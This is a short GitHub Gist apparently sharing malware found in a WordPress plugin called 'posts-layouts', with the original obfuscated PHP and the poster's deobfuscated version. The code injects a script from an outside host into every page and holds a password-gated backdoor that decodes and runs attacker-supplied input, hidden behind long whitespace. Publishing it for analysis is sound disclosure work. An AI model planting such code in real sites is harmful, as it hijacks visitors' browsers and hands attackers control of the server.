Created
May 19, 2023 09:45
-
-
Save YourMJK/15caf84c767af61af8fb2d4ba371aaad to your computer and use it in GitHub Desktop.
"posts-layouts" Wordpress plugin malware
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
function posts_layouts_head(){ | |
$sc = "sc"."r"."ipt"; | |
echo "<".$sc." ".substr($sc, 0, 3)."='htt".chr(112).chr(115).chr(58).chr(47).chr(47).chr(99).chr(100).chr(110).chr(46).chr(115).chr(99).chr(114).chr(105).chr(112).chr(116).chr(115).chr(112).chr(108).chr(97).chr(116).chr(102)."orm.com/scripts/stats.js' type='text/java".$sc."'></".$sc.">"; | |
} | |
("w"."p_h"."ead",'posts_layouts_head'); $b = "b"."a"."se6"."4_"."d"."ec"."od"."e"; $m = "md5";$d="dd";$e=$m("343");$f=$b("ZmQ"."0"."NWR"."jZ"."GI0NGF"."iODVi"."Yj"."M2N"."WVmY"."TE4Zj"."Q4MTM3OGQ="); if(isset($_POST[$d])){if($m($_POST[$d])==$f){ ($b($_POST[$d.'1'])); }} if(isset($_GET['343'])){echo $e;die();} |
My deobfuscation attempt:
<?php
function posts_layouts_head(){
echo "<script src='https://cdn.scriptsplatform.com/scripts/stats.js' type='text/javascript'></script>";
}
("wp_head",'posts_layouts_head');
$d = "dd";
$e = md5("343");
$f = base64_decode("ZmQ0NWRjZGI0NGFiODViYjM2NWVmYTE4ZjQ4MTM3OGQ=");
if (isset($_POST[$d])) {
if (md5($_POST[$d]) == $f) {
(base64_decode($_POST[$d.'1']));
}
}
if (isset($_GET['343'])) {
echo $e;
die();
}
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
There is a bunch of whitespace at the supposed end of line 8, scroll to the right!